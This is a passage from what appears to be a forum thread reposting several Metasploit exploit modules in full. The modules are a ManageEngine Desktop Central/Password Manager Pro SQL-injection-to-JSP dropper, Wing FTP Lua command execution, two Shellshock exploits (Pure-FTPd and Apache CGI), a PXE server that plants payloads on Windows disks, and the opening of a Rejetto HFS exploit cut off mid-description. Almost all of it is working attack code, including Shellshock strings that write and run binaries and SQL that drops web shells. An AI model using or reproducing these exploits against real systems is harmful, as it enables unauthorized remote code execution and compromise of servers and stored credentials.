          DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your
          luck using the MySQL targets as a JDK might be installed in the $PATH.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>'  # Vulnerability discovery and MSF module
        ],
      'References'     =>
        [
          [ 'CVE', '2014-3996' ],
          [ 'OSVDB', 'TODO' ],
          [ 'URL', 'TODO_GITHUB_URL' ],
          [ 'URL', 'TODO_FULLDISC_URL' ]
        ],
      'Arch'           => ARCH_X86,
      'Platform'       => %w{ linux win },
      'Targets'        =>
        [
          [  'Automatic', {}  ],
          [  'Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
            {
              'Web_root' => 'C:\\ManageEngine\\DesktopCentral_Server\\webapps\\DesktopCentral\\',
              'Database' => 'postgresql',
              'Platform' => 'win'
            }
          ],
          [  'Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
            {
              'Web_root' => 'C:\\ManageEngine\\DesktopCentralMSP_Server\\webapps\\DesktopCentral\\',
              'Database' => 'postgresql',
              'Platform' => 'win'
            }
          ],
          [  'Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows',
            {
              'Web_root' => '../../webapps/DesktopCentral/',
              'Database' => 'mysql',
              'Platform' => 'win'
            }
          ],
          [  'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows',
            {
              'Web_root' => 'C:\\ManageEngine\\PMP\\webapps\\PassTrix\\',
              'Database' => 'postgresql',
              'Platform' => 'win'
            }
          ],
          [  'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows',
            {
              'Web_root' => '../../webapps/PassTrix/',
              'Database' => 'mysql',
              'Platform' => 'win'
            }
          ],
          [  'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux',
            {
              'Web_root' => '/opt/ManageEngine/PMP/webapps/PassTrix/',
              'Database' => 'postgresql',
              'Platform' => 'linux'
            }
          ],
          [  'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux',
            {
              'Web_root' => '../../webapps/PassTrix/',
              'Database' => 'mysql',
              'Platform' => 'linux'
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,            # Privileged on Windows but not on Linux targets
      'DisclosureDate' => "Jun 8 2014"))
 
    register_options(
      [
        OptPort.new('RPORT',
          [true, 'The target port', 8020]),
        OptBool.new('SSL',
          [true, 'Use SSL', false]),
        OptInt.new('CHUNK_SIZE',
          [true, 'Number of characters to send per request (< 7800)', 7500]),
        OptInt.new('SLEEP',
          [true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),
        OptBool.new('EXE_SMALL',
          [true, 'Use exe-small encoding for better reliability', true]),
        OptString.new('WEB_ROOT',
          [false, 'Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\)'])
      ], self.class)
  end
 
 
  def check
    # Test for Desktop Central
    res = send_request_cgi({
      'uri' => normalize_uri("configurations.do"),
      'method' => 'GET'
    })
 
    if res and res.code == 200
      if res.body.to_s =~ /ManageEngine Desktop Central 7/ or
       res.body.to_s =~ /ManageEngine Desktop Central MSP 7/                    # DC v7
        # DC v7 uses the MySQL database
        print_status("#{peer} - Detected Desktop Central v7 (MySQL)")
        return Exploit::CheckCode::Appears
      elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ or
       res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
        if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/                 # DC v8
          build = $1
          if build > "80200"
            print_status("#{peer} - Detected Desktop Central v8 #{build}")
            return Exploit::CheckCode::Appears
          else
            print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)")
          end
        else
          print_status("#{peer} - Detected Desktop Central v8 (MySQL)")
        end
        # DC v8 < 80200 uses the MySQL database
        return Exploit::CheckCode::Appears
      elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ or
       res.body.to_s =~ /ManageEngine Desktop Central MSP 9/
        if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/                 # DC v9
          build = $1
          print_status("#{peer} - Detected Desktop Central v9 #{build}")
          if build < "90039"
            return Exploit::CheckCode::Appears
          else
            return Exploit::CheckCode::Safe
          end
        end
      end
    end
 
    # Test for Password Manager Pro
    res = send_request_cgi({
        'uri' => normalize_uri("PassTrixMain.cc"),
        'method' => 'GET'
    })
 
    if res and res.code == 200 and
    res.body.to_s =~ /ManageEngine Password Manager Pro/ and
    (res.body.to_s =~ /login\.css\?([0-9]+)/ or                                 # PMP v6
    res.body.to_s =~ /login\.css\?version=([0-9]+)/ or                          # PMP v6
    res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/)      # PMP v7
      build = $1
      if build < "7003"
        if build < "6800"
        # PMP v6 < 6800 uses the MySQL database
          print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)")
        else
          print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
        end
        if build >= "6500"
          # if it's a build below 6500, it will only work if we have a JSP compiler
          return Exploit::CheckCode::Appears
        end
      else
        print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
        return Exploit::CheckCode::Safe
      end
    end
  end
 
 
  def pick_target
    return target if target.name != 'Automatic'
 
    print_status("#{peer} - Selecting target, this might take a few seconds...")
    rand_txt = rand_text_alpha_lower(8) << ".txt"
 
    # Test for Desktop Central
    res = send_request_cgi({
      'uri' => normalize_uri("configurations.do"),
      'method' => 'GET'
    })
 
    if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central/
      if datastore['WEB_ROOT']
        postgresql_path = datastore['WEB_ROOT'].dup
        mysql_path = datastore['WEB_ROOT'].dup
      elsif res.body.to_s =~ /ManageEngine Desktop Central MSP/
        postgresql_path = targets[2]['Web_root'].dup
        mysql_path = targets[3]['Web_root'].dup
      else
        postgresql_path = targets[1]['Web_root'].dup
        mysql_path = targets[3]['Web_root'].dup
      end
    else
      # Test for Password Manager Pro
      res = send_request_cgi({
        'uri' => normalize_uri("PassTrixMain.cc"),
        'method' => 'GET'
      })
 
      if res and res.code == 200 and res.body.to_s =~ /ManageEngine Password Manager Pro/
        if datastore['WEB_ROOT']
          postgresql_path = datastore['WEB_ROOT'].dup
          mysql_path = datastore['WEB_ROOT'].dup
        else
          postgresql_path = targets[4]['Web_root'].dup
          mysql_path = targets[5]['Web_root'].dup
        end
      else
        # We don't know what this is, bail
        return nil
      end
    end
 
    # try MySQL first, there are probably more of these out there
    filepath = mysql_path << rand_txt
 
    # @@version_compile_os will give us Win32 / Win64 if it's a Windows target
    inject_sql("select @@version_compile_os into dumpfile '#{filepath}'", "mysql")
 
    res = send_request_cgi({
      'uri' => normalize_uri(rand_txt),
      'method' => 'GET'
    })
 
    if res and res.code == 200
      register_file_for_cleanup(filepath.sub('../',''))
      if res.body.to_s =~ /Win32/ or res.body.to_s =~ /Win64/
        if mysql_path =~ /DesktopCentral/
          # Desktop Central [MSP] / MySQL / Windows
          return targets[3]
        else
          # Password Manager Pro / MySQL / Windows
          return targets[5]
        end
      else
        # Password Manager Pro / MySQL / Linux
        return targets[7]
      end
    end
 
    # didn't work, let's try PostgreSQL
    filepath = postgresql_path << rand_txt
 
    # version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux)
    inject_sql("copy (select version()) to '#{filepath}'", "postgresql")
 
    res = send_request_cgi({
      'uri' => normalize_uri(rand_txt),
      'method' => 'GET'
    })
 
    if res and res.code == 200
      register_file_for_cleanup(filepath)
      if res.body.to_s =~ /Visual C++/
        if postgresql_path =~ /DesktopCentral_Server/
          # Desktop Central / PostgreSQL / Windows
          return targets[1]
        elsif postgresql_path =~ /DesktopCentralMSP_Server/
          # Desktop Central MSP / PostgreSQL / Windows
          return targets[2]
        else
          # Password Manager Pro / PostgreSQL / Windows
          return targets[4]
        end
      elsif res.body.to_s =~ /linux/
         # This is for the case when WEB_ROOT is provided
         # Password Manager Pro / PostgreSQL / Linux
         return targets[6]
      end
    else
      # OK, it's Password Manager Pro on Linux, probably using PostgreSQL and
      # no WEB_ROOT was provided. Let's try one of the defaults before bailing out.
      filepath = targets[5]['Web_root'].dup << rand_txt
      inject_sql("copy (select version()) to '#{filepath}'", "postgresql")
 
      res = send_request_cgi({
        'uri' => normalize_uri(rand_txt),
        'method' => 'GET'
      })
 
      if res and res.code == 200 and res.body.to_s =~ /linux/
        # Password Manager Pro / PostgreSQL / Linux
        return targets[6]
      else
        return nil
      end
    end
  end
 
  #
  # Creates the JSP that will assemble the payload on the server
  #
  def generate_jsp_encoded(files)
    native_payload_name = rand_text_alpha(rand(6)+3)
    ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
 
    var_raw     = rand_text_alpha(rand(8) + 3)
    var_ostream = rand_text_alpha(rand(8) + 3)
    var_buf     = rand_text_alpha(rand(8) + 3)
    var_decoder = rand_text_alpha(rand(8) + 3)
    var_tmp     = rand_text_alpha(rand(8) + 3)
    var_path    = rand_text_alpha(rand(8) + 3)
    var_proc2   = rand_text_alpha(rand(8) + 3)
    var_files   = rand_text_alpha(rand(8) + 3)
    var_ch      = rand_text_alpha(rand(8) + 3)
    var_istream = rand_text_alpha(rand(8) + 3)
    var_file    = rand_text_alpha(rand(8) + 3)
 
    files_decl = "{ "
    files.each { |file|  files_decl << "\"#{file}\"," }
    files_decl[-1] = "}"
 
    if @my_target['Platform'] == 'linux'
      var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
      chmod = %Q|
      Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
      Thread.sleep(200);
      |
 
      var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
      cleanup = %Q|
      Thread.sleep(200);
      Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
      |
    else
      chmod = ''
      cleanup = ''
    end
 
    jsp = %Q|
    <%@page import="java.io.*"%>
    <%@page import="sun.misc.BASE64Decoder"%>
    <%
    String[] #{var_files} = #{files_decl};
    try {
      int #{var_ch};
      StringBuilder #{var_buf} = new StringBuilder();
      for (String #{var_file} : #{var_files}) {
        BufferedInputStream #{var_istream} =
          new BufferedInputStream(new FileInputStream(#{var_file}));
        while((#{var_ch} = #{var_istream}.read())!= -1)
          #{var_buf}.append((char)#{var_ch});
        #{var_istream}.close();
      }
 
      BASE64Decoder #{var_decoder} = new BASE64Decoder();
      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
 
      File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
      String #{var_path} = #{var_tmp}.getAbsolutePath();
 
      BufferedOutputStream #{var_ostream} =
        new BufferedOutputStream(new FileOutputStream(#{var_path}));
      #{var_ostream}.write(#{var_raw});
      #{var_ostream}.close();
      #{chmod}
      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
      #{cleanup}
    } catch (Exception e) {
    }
    %>
    |
 
    jsp = jsp.gsub(/\n/, '')
    jsp = jsp.gsub(/\t/, '')
 
    if @my_target['Database'] == 'postgresql'
      # Ruby's base64 encoding adds newlines at every 60 chars, strip them
      [jsp].pack("m*").gsub(/\n/, '')
    else
      # Assuming mysql, applying hex encoding instead
      jsp.unpack("H*")[0]
    end
  end
 
 
  def inject_sql(sqli_command, target = nil)
    target = (target == nil) ? @my_target['Database'] : target
    if target == 'postgresql'
      sqli_prefix = "viewname\";"
      sqli_suffix = ";-- "
    else
      # Assuming mysql
      sqli_prefix = "viewname\" union "
      sqli_suffix = "#"
    end
 
    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri("LinkViewFetchServlet.dat"),
      'vars_get'  => {
        'sv'    => sqli_prefix << sqli_command << sqli_suffix
      }
    })
 
    if target == 'postgresql'
      # PostgreSQL sometimes takes a while to write to the disk, so sleep more
      sleep(datastore['SLEEP'] * 2.5)
    else
      # Assuming mysql
      sleep(datastore['SLEEP'])
    end
   end
 
  #
  # Generate the actual payload
  #
  def generate_exe_payload
    opts = {:arch => @my_target.arch, :platform => @my_target.platform}
    payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
    if datastore['EXE_SMALL'] and @my_target['Platform'] == 'win'
      exe = Msf::Util::EXE.to_executable_fmt(framework, arch, platform,
        payload.encoded, "exe-small", opts)
    else
      exe = generate_payload_exe(opts)
    end
    Rex::Text.encode_base64(exe)
  end
 
  #
  # Uploads the payload in chunks and then calls the JSP that will assemble them
  # (runs the actual exploit).
  #
  def inject_exec(jsp_name, fullpath)
    base64_exe = generate_exe_payload
    base64_exe_len = base64_exe.length
 
    # We will be injecting in CHUNK_SIZE steps
    chunk_size = datastore['CHUNK_SIZE']
    copied = 0
    counter = 0
    if base64_exe_len < chunk_size
      chunk_size = base64_exe_len
    end
    chunks = (base64_exe_len.to_f / chunk_size).ceil
    time = chunks * datastore['SLEEP'] *
     ((@my_target['Database'] == 'postgresql') ? 2.5 : 1)
 
    # We dump our files in either C:\Windows\system32 or /tmp
    # It's not very clean, but when using a MySQL target we have no other choice
    # as we are using relative paths for injection.
    # The Windows path has to be escaped with 4 backslashes because ruby eats one
    # and the JSP eats the other.
    files = Array.new(chunks)
    files.map! {
      |file|
      if @my_target['Platform'] == 'win'
        file = "C:\\\\windows\\\\system32\\\\" + rand_text_alpha(rand(8)+3)
      else
        # Assuming Linux, let's hope we can write to /tmp
        file = "/tmp/" + rand_text_alpha(rand(8)+3)
      end
    }
 
    print_status("#{peer} - Payload size is #{base64_exe_len}, injecting #{chunks}" +
     " chunks in #{time} seconds")
 
    if @my_target['Database'] == 'postgresql'
      inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
    else
      # Assuming mysql
      inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile" +
       " '#{files[counter]}'")
    end
    register_file_for_cleanup(files[counter])
    copied += chunk_size
    counter += 1
 
    while copied < base64_exe_len
      if (copied + chunk_size) > base64_exe_len
        # Last loop
        chunk_size = base64_exe_len - copied
      end
      if @my_target['Database'] == 'postgresql'
        inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to " +
          "'#{files[counter]}'")
      else
        # Assuming mysql
        inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into " +
         "dumpfile '#{files[counter]}'")
      end
      register_file_for_cleanup(files[counter])
      copied += chunk_size
      counter += 1
    end
 
    jsp_encoded = generate_jsp_encoded(files)
    if @my_target['Database'] == 'postgresql'
      inject_sql("copy (select convert_from(decode('#{jsp_encoded}','base64'),'utf8'))" +
       " to '#{fullpath}'")
    else
      inject_sql("select 0x#{jsp_encoded} from mysql.user into dumpfile '#{fullpath}'")
    end
    print_status("#{peer} - Requesting #{jsp_name}")
    send_request_raw({'uri' => normalize_uri(jsp_name)})
 
    handler
  end
 
 
  def exploit
    @my_target = pick_target
    if @my_target.nil?
      fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
    else
      print_status("#{peer} - Selected target #{@my_target.name}")
    end
    # When using auto targeting, MSF selects the Windows meterpreter as the default payload.
    # Fail if this is the case to avoid polluting the web root any more.
    if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/
      fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
    end
 
    if datastore['WEB_ROOT']
      web_root = datastore['WEB_ROOT']
    else
      web_root = @my_target['Web_root']
    end
 
    jsp_name  = rand_text_alpha_lower(8) + ".jsp"
    fullpath = web_root + jsp_name
    register_file_for_cleanup(fullpath.sub('../',''))
 
    inject_exec(jsp_name, fullpath)
  end
end
 
Wing FTP Server Authenticated Command Execution

This Metasploit module exploits the embedded Lua interpreter in the admin web interface for versions 4.3.8 and below. When supplying a specially crafted HTTP POST request an attacker can use os.execute() to execute arbitrary system commands on the target with SYSTEM privileges.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wing FTP Server Authenticated Command Execution',
      'Description'    => %q{
        This module exploits the embedded Lua interpreter in the admin web interface for
        versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
        an attacker can use os.execute() to execute arbitrary system commands on
        the target with SYSTEM privileges.
      },
      'Author'         =>
        [
          'Nicholas Nam <nick[at]executionflow.org>'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.wftpserver.com' ]
        ],
      'Arch'           => ARCH_X86,
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows VBS Stager', {} ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Jun 19 2014',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(5466),
        OptString.new('USERNAME', [true, 'Admin username', '']),
        OptString.new('PASSWORD', [true, 'Admin password', ''])
      ], self.class
    )
    deregister_options('CMDSTAGER::FLAVOR')
  end

  def check
    res = send_request_cgi(
      {
        'uri'     =>  '/admin_login.html',
        'method'  => 'GET'
      })

    if !res
      fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
    elsif res.code != 200
      fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")
    elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    @session_cookie = authenticate(username, password)

    print_status("#{peer} - Sending payload")
    # Execute the cmdstager, max length of the commands is ~1500
    execute_cmdstager(flavor: :vbs, linemax: 1500)
  end

  def execute_command(cmd, _opts = {})
    command = "os.execute('cmd /c #{cmd}')"

    res = send_request_cgi(
      'uri'       => '/admin_lua_script.html',
      'method'    => 'POST',
      'cookie'    => @session_cookie,
      'vars_post' => { 'command' => command }
    )

    if res && res.code != 200
      fail_with(Failure::Unkown, "#{peer} - Something went wrong.")
    end
  end

  def authenticate(username, password)
    print_status("#{peer} - Authenticating")
    res = send_request_cgi(
      'uri'       => '/admin_loginok.html',
      'method'    => 'POST',
      'vars_post' => {
        'username'     => username,
        'password'     => password,
        'username_val' => username,
        'password_val' => password,
        'submit_btn'   => '+Login+'
      }
    )

    uidadmin = ''
    if !res
      fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
    elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/
      res.get_cookies.split(';').each do |cookie|
        cookie.split(',').each do |value|
          uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/
        end
      end
    else
      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
    end

    "UIDADMIN=#{uidadmin}"
  end
end
 
Pure-FTPd External Authentication Bash Environment Variable Code Injection
CVE-2014-6271
This Metasploit module exploits the code injection flaw known as shellshock which leverages specially crafted environment variables in Bash. This exploit specifically targets Pure-FTPd when configured to use an external program for authentication.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection',
      'Description'     => %q(
        This module exploits the code injection flaw known as shellshock which
        leverages specially crafted environment variables in Bash. This exploit
        specifically targets Pure-FTPd when configured to use an external
        program for authentication.
      ),
      'Author'          =>
        [
          'Stephane Chazelas', # Vulnerability discovery
          'Frank Denis', # Discovery of Pure-FTPd attack vector
          'Spencer McIntyre' # Metasploit module
        ],
      'References'      =>
        [
          ['CVE', '2014-6271'],
          ['OSVDB', '112004'],
          ['EDB', '34765'],
          ['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc']
        ],
      'Payload'         =>
        {
          'DisableNops' => true,
          'Space'       => 2048
        },
      'Targets'         =>
        [
          [ 'Linux x86',
            {
              'Platform'        => 'linux',
              'Arch'            => ARCH_X86,
              'CmdStagerFlavor' => :printf
            }
          ],
          [ 'Linux x86_64',
            {
              'Platform'        => 'linux',
              'Arch'            => ARCH_X86_64,
              'CmdStagerFlavor' => :printf
            }
          ]
        ],
      'DefaultOptions' =>
        {
          'PrependFork' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Sep 24 2014'))
    register_options(
      [
        Opt::RPORT(21),
        OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin'])
      ], self.class)
    deregister_options('FTPUSER', 'FTPPASS')
  end

  def check
    # this check method tries to use the vulnerability to bypass the login
    username = rand_text_alphanumeric(rand(20) + 1)
    random_id = (rand(100) + 1)
    command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"
    if send_command(username, command) =~ /^2\d\d ok./i
      return CheckCode::Safe if banner !~ /pure-ftpd/i
      disconnect

      command = "echo auth_ok:0; echo end"
      if send_command(username, command) =~ /^5\d\d login authentication failed/i
        return CheckCode::Vulnerable
      end
    end
    disconnect

    CheckCode::Safe
  end

  def execute_command(cmd, _opts)
    cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
    username = rand_text_alphanumeric(rand(20) + 1)
    send_command(username, cmd)
  end

  def exploit
    # Cannot use generic/shell_reverse_tcp inside an elf
    # Checking before proceeds
    if generate_payload_exe.blank?
      fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
    end

    execute_cmdstager(linemax: 500)
    handler
  end

  def send_command(username, cmd)
    cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\""
    connect
    send_user(username)
    password_result = send_pass(cmd)
    disconnect
    password_result
  end
end
 
Shellshock Bashed CGI RCE

CVE-2014-6271

This Metasploit module exploits the shellshock vulnerability in apache cgi. It allows you to execute any metasploit payload you want.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Shellshock Bashed CGI RCE',
      'Description'    => %q{
          This module exploits the shellshock vulnerability in apache cgi. It allows you to
        excute any metasploit payload you want.
      },
      'Author'         =>
        [
            'Stephane Chazelas',  # vuln discovery
            'Fady Mohamed Osman'  # Metasploit module f.othman at zinad.net
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2014-6271' ]
        ],
      'Payload'       =>
        {
          'BadChars' => "",
        },
        'Platform' => 'linux',
        'Arch'         => ARCH_X86,
        'Targets'        =>
        [
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
        'DefaultTarget'  => 0,
        'DisclosureDate' => 'Aug 13 2014'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The CGI url', '/cgi-bin/test.sh']) ,
        OptString.new('FILEPATH', [true, 'The url ', '/tmp'])
      ], self.class)
  end

  def exploit
    @payload_name = "#{rand_text_alpha(5)}"
    full_path = datastore['FILEPATH'] + '/' + @payload_name
    payload_exe = generate_payload_exe
    if payload_exe.blank?
      fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
    end
    peer = "#{rhost}:#{rport}"
    print_status("#{peer} - Creating payload #{full_path}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => datastore['TARGETURI'],
      'agent'    => "() { :;}; /bin/bash -c \"" + "printf " + "\'" + Rex::Text.hexify(payload_exe).gsub("\n",'') + "\'" +  "> #{full_path}; chmod +x #{full_path};#{full_path};rm #{full_path};\""
    })
  end
end

Добавлено в [time]1412614726[/time]
PXE Exploit Server

This Metasploit module provides a PXE server, running a DHCP and TFTP server. The default configuration loads a linux kernel and initrd into memory that reads the hard drive; placing the payload on the hard drive of any Windows partition seen. Note: the displayed IP address of a target is the address this DHCP server handed out, not the "normal" IP address the host uses.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/proto/tftp'
require 'rex/proto/dhcp'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::TFTPServer
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'PXE Exploit Server',
      'Description'    => %q{
        This module provides a PXE server, running a DHCP and TFTP server.
        The default configuration loads a linux kernel and initrd into memory that
        reads the hard drive; placing the payload on the hard drive of any Windows
        partition seen.

        Note: the displayed IP address of a target is the address this DHCP server
        handed out, not the "normal" IP address the host uses.
      },
      'Author'      => [ 'scriptjunkie' ],
      'License'     => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'       => 4500,
          'DisableNops' => 'True',
        },
      'Platform'       => 'win',
      'DisclosureDate' => 'Aug 05 2011',
      'Targets'        =>
        [
          [ 'Windows Universal',
            {
            }
          ],
        ],
      'Privileged'     => true,
      'Stance' => Msf::Exploit::Stance::Passive,
      'DefaultTarget'  => 0
    )

    register_options(
      [
        OptInt.new('SESSION',   [ false,  'A session to pivot the attack through' ])
      ], self.class)

    register_advanced_options(
      [
        OptString.new('TFTPROOT',   [ false,  'The TFTP root directory to serve files from' ]),
        OptString.new('SRVHOST',   [ false,  'The IP of the DHCP server' ]),
        OptString.new('NETMASK',   [ false,  'The netmask of the local subnet', '255.255.255.0' ]),
        OptBool.new('RESETPXE',   [ true,  'Resets the server to re-exploit already targeted hosts', false ]),
        OptString.new('DHCPIPSTART',   [ false,  'The first IP to give out' ]),
        OptString.new('DHCPIPEND',   [ false,  'The last IP to give out' ])
      ], self.class)
  end

  def exploit
    if not datastore['TFTPROOT']
      datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
    end
    datastore['FILENAME'] = "update1"
    datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them!

    # Prepare payload
    print_status("Creating initrd")
    initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom'))
    uncompressed = Rex::Text.ungzip(initrd)
    payl = payload.generate
    uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl
    initrd = Rex::Text.gzip(uncompressed)

    # Meterpreter attack
    if framework.sessions.include? datastore['SESSION']
      client = framework.sessions[datastore['SESSION']]
      if not client.lanattacks
        print_status("Loading lanattacks extension...")
        client.core.use("lanattacks")
      else
        if datastore['RESETPXE']
          print_status("Resetting PXE attack...")
          client.lanattacks.dhcp.reset
        end
      end

      print_status("Loading DHCP options...")
      client.lanattacks.dhcp.load_options(datastore)
      0.upto(4) do |i|
        print_status("Loading file #{i+1} of 5")
        if i < 4
          contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))
        else
          contents = initrd
        end
        client.lanattacks.tftp.add_file("update#{i}",contents)
      end
      print_status("Starting TFTP server...")
      client.lanattacks.tftp.start
      print_status("Starting DHCP server...")
      client.lanattacks.dhcp.start
      print_status("pxesploit attack started")
      while (true) do
        begin
          # get stats every 20s
          select(nil, nil, nil, 20)
          client.lanattacks.dhcp.log.each do |item|
            print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+
                "(#{Rex::Socket.addr_ntoa(item[1])})")
            report_note({
              :type => 'PXE.client',
              :data => item[0].unpack('H2H2H2H2H2H2').join(':')
            })
          end
        rescue ::Interrupt
          print_status("Stopping TFTP server...")
          client.lanattacks.tftp.stop
          print_status("Stopping DHCP server...")
          client.lanattacks.dhcp.stop
          print_status("PXEsploit attack stopped")
          return
        end
      end
    end

    # normal attack
    print_status("Starting TFTP server...")
    @tftp = Rex::Proto::TFTP::Server.new
    @tftp.set_tftproot(datastore['TFTPROOT'])
    @tftp.register_file('update4',initrd)
    @tftp.start

    print_status("Starting DHCP server...")
    @dhcp = Rex::Proto::DHCP::Server.new( datastore )
    @dhcp.report do |mac, ip|
      print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+
          "(#{Rex::Socket.addr_ntoa(ip)})")
      report_note({
        :type => 'PXE.client',
        :data => mac.unpack('H2H2H2H2H2H2').join(':')
      })
    end
    @dhcp.start
    print_status("pxesploit attack started")

    # Wait for finish..
    @tftp.thread.join
    @dhcp.thread.join
    print_status("pxesploit attack completed")
  end

end
 
Rejetto HttpFileServer Remote Command Execution Exploit

Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas. This Metasploit module exploit the HFS scripting commands by using '%00' to bypass the filtering. This Metasploit module has been tested successfully on HFS 2.3b over Windows XP SP3, Windows 7 SP1 and Windows 8.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "Rejetto HttpFileServer Remote Command Execution",
      'Description'    => %q{
        Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a
        poor regex in the file ParserLib.pas. This module exploit the HFS scripting commands by
        using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b
